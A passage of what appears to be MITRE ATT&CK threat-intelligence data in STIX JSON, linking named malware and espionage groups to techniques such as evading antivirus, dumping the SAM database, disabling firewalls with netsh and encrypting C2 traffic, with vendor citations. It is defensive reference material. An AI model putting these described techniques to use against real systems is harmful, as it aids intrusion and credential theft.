                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) searches for anti-malware services running on the victim\u2019s machine and terminates itself if it finds them.(Citation: Kaspersky Turla)",
            "id": "relationship--d2f6e1bf-49ae-48cb-a919-b556f8cd0553",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.950Z",
            "created": "2019-01-29T19:55:48.263Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                },
                {
                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf",
                    "source_name": "TrendMicro TropicTrooper 2015"
                },
                {
                    "source_name": "CitizenLab Tropic Trooper Aug 2018",
                    "url": "https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/",
                    "description": "Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019."
                },
                {
                    "source_name": "Anomali Pirate Panda April 2020",
                    "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z",
                    "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro TropicTrooper 2015)(Citation: CitizenLab Tropic Trooper Aug 2018)(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--0be962d8-6281-4554-ad1f-4cba04c547de",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2020-05-21T12:59:00.645Z",
            "created": "2019-01-29T20:17:49.311Z"
        },
        {
            "id": "relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about running processes on the victim.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580"
        },
        {
            "id": "relationship--e2e35a7a-3057-4955-9e7e-c3972e0ad423",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can discover and collect victim system information.(Citation: McAfee Netwire Mar 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Netwire Mar 2015",
                    "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"
                }
            ],
            "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T17:21:37.048Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--2af126e3-89ef-45b4-b345-45567ef17dfa",
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            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses the Windows API call, CreateProcessW(), to manage execution flow.(Citation: S2 Grupo TrickBot June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.695Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fa6f0d89-8a80-421b-bcb1-ef5ee31f0879",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Orz](https://attack.mitre.org/software/S0229) strings are base64 encoded, such as the embedded DLL known as MockDll.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.151Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--27e7969b-a0bf-4db6-90bf-1f17c5e0c853",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:14:31.607Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--90355089-e793-4a6a-98b4-c1f20322a98f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the system\u2019s hostname and OS version.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.688Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--852009ed-1b50-4b08-9e77-53f0271d995c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can dump the SAM database.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-20T00:11:13.213Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--067814b5-aa57-45e0-9bdf-5536b077c224",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "(Citation: F-Secure The Dukes)(Citation: Microsoft 365 Defender Solorigate)",
            "type": "relationship",
            "modified": "2021-04-16T19:04:13.730Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The initial beacon packet for [S-Type](https://attack.mitre.org/software/S0085) contains the operating system version and file system of the victim.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-02-11T16:29:35.456Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8e685821-98a3-42a0-9c6a-334a8ff078d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) can list security software, such as by using WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                },
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.377Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) captures and DES-encrypts credentials before writing the username and password to a log file, <code>C:\\log.txt</code>.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:23:39.383Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
            "type": "relationship",
            "modified": "2020-03-30T13:39:25.046Z",
            "created": "2017-05-31T21:33:27.024Z"
        },
        {
            "id": "relationship--af7c56df-ced8-45b7-9aef-be1039e30cea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) decodes the configuration data and modules.(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis TrickBot Oct 2016",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.581Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ae1ee1dc-6017-4177-b34c-70db166a939e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.(Citation: F-Secure Sofacy 2015)(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/",
                    "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.",
                    "source_name": "F-Secure Sofacy 2015"
                },
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.305Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of probing the network for open ports.(Citation: Invincea XTunnel)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Invincea XTunnel",
                    "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.",
                    "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-04-19T18:36:32.000Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--29be2366-5ffb-4499-9984-525f76525326",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "type": "relationship",
            "modified": "2021-04-20T16:34:09.489Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3",
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            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>net view /domain</code> to display hostnames of available systems on a network.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.608Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--490cc52d-1f6d-45d2-aa0e-2221264c0de0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has signed its malware with an invalid digital certificates listed as \u201cTencent Technology (Shenzhen) Company Limited.\u201d(Citation: Securelist ScarCruft Jun 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "type": "relationship",
            "modified": "2020-08-13T17:53:17.881Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--512879fe-8433-4c78-9345-009ed5168078",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to disable local firewall settings.(Citation: TechNet Netsh)(Citation: TechNet Netsh Firewall)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Netsh",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "url": "https://technet.microsoft.com/library/bb490939.aspx"
                },
                {
                    "source_name": "TechNet Netsh Firewall",
                    "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx"
                }
            ],
            "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T01:00:55.146Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6e763ef9-94cb-4244-bea8-86e6d19bfb71",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481",
            "relationship_type": "uses",
            "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
            "description": "(Citation: Proofpoint TA459 April 2017)",
            "type": "relationship",
            "modified": "2019-03-25T17:00:47.419Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f023577a-e87f-4d0e-beef-575293a86153",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of enumerating Registry keys and values.(Citation: FireEye Periscope March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-16T15:39:47.848Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)",
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            ],
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                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Microsoft DTC",
                    "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T14:51:24.009Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.766Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.",
                    "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/",
                    "source_name": "Nccgroup Gh0st April 2018"
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) uses RC4 and XOR to encrypt C2 traffic.(Citation: Nccgroup Gh0st April 2018)",
            "id": "relationship--8df1a464-9623-46bf-b23b-0430aa0a8c44",
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2021-03-29T19:49:11.282Z",
            "created": "2019-01-29T14:51:06.828Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                },
